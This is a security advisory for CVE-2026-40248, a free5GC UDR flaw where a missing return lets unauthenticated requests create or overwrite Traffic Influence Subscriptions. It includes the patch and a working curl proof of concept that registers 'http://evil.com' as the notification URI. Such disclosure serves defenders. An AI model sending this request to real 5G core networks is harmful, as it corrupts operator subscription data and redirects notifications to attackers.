# CVE-2026-40248: free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions

Source: https://junglewise.ai/threats/cve-2026-40248-free5gc-udr-improper-path-validation-allows-unauthenticated  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-04-14. Updated: 2026-05-11  
License: CC BY 4.0 with a link back

CVE-2026-40248 · Severity: high · CVSS 7.5 · Published 2026-04-14

### Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.

### Details
The endpoint `PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut`in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go`checks whether `influenceId != "subs-to-notify"`.
2. If the value is different, it calls `c.String(http.StatusNotFound, "404 page not found")`, **but it does not return afterwards**.
3. Execution continues, the request body is still parsed, and the handler calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub)`.
4. The processor creates or updates the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully create or modify the target subscription in the UDR.

The missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.

### PoC
No authentication is required. The attacker can choose an arbitrary `subscriptionId`.

```bash
curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com",
    "dnns":["internet"],
    "supis":["imsi-999999999999999"]
  }'
```

Response:
```
HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}
```
Now verify that the object was actually written:

```bash
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"
```
Response:
```json
{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}
```
### Impact
This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.

This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.

The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

### Patch
The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,
function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:

```go
if influenceId != "subs-to-notify" {
    c.String(http.StatusNotFound, "404 page not found")
    return
}
```
With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.

Technologies: [github.com/free5gc/udr (Go)](https://junglewise.ai/threats/technologies/github-com-free5gc-udr). Vendors: [Go](https://junglewise.ai/threats/vendors/go).

## Quick answers

**Is CVE-2026-40248 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-40248 being exploited in the wild.

**How severe is CVE-2026-40248?** High severity, with a CVSS score of 7.5, published 14 April 2026.

**Which products and versions are affected?** github.com/free5gc/udr (Go) <= 1.4.2, SEMVER:introduced=0, SEMVER:introduced=0,last_affected=1.4.2.

**Is there a fix for CVE-2026-40248?** No fixed version is recorded yet. Check the vendor's advisory in the references below. If you run it, Junglewise drafts a mitigation that fits your setup and applies it once you approve, with senior security engineers behind it.

**Am I affected by CVE-2026-40248?** Check whether you run github.com/free5gc/udr (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## Affected products

- github.com/free5gc/udr (Go) <= 1.4.2, SEMVER:introduced=0, SEMVER:introduced=0,last_affected=1.4.2

## Identifiers

- CVE-2026-40248
- GHSA-jgq2-qv8v-5cmj
- GO-2026-5470

## References

- [https://api.github.com/users/Giancannella](https://api.github.com/users/Giancannella)
- [https://github.com/Giancannella](https://github.com/Giancannella)
- [https://api.github.com/users/Giancannella/gists%7B/gist_id%7D](https://api.github.com/users/Giancannella/gists%7B/gist_id%7D)
- [https://api.github.com/users/Giancannella/repos](https://api.github.com/users/Giancannella/repos)
- [https://avatars.githubusercontent.com/u/56028149?v=4](https://avatars.githubusercontent.com/u/56028149?v=4)
- [https://api.github.com/users/Giancannella/events%7B/privacy%7D](https://api.github.com/users/Giancannella/events%7B/privacy%7D)

## Related threats

- [free5GC UDR improper input validation in EE subscription handlers](https://junglewise.ai/threats/cve-2026-47780-free5gc-udr-improper-input-validation-in-ee-subscription-handlers)
- [free5GC UDR denial of service via nil type assertion](https://junglewise.ai/threats/cve-2026-44324-free5gc-udr-denial-of-service-via-nil-type-assertion)
- [free5GC UDR nil pointer dereference in nudr-dr DELETE handler](https://junglewise.ai/threats/cve-2026-44323-free5gc-udr-nil-pointer-dereference-in-nudr-dr-delete-handler)
- [free5GC UDR: Fail-open handling in PolicyDataSubsToNotifyPost allows unintended subscription creation](https://junglewise.ai/threats/cve-2026-40343-free5gc-udr-fail-open-handling-in-policydatasubstonotifypost)
- [free5gc UDR improper path validation allows unauthenticated deletion of Traffic Influence Subscriptions](https://junglewise.ai/threats/cve-2026-40246-free5gc-udr-improper-path-validation-allows-unauthenticated)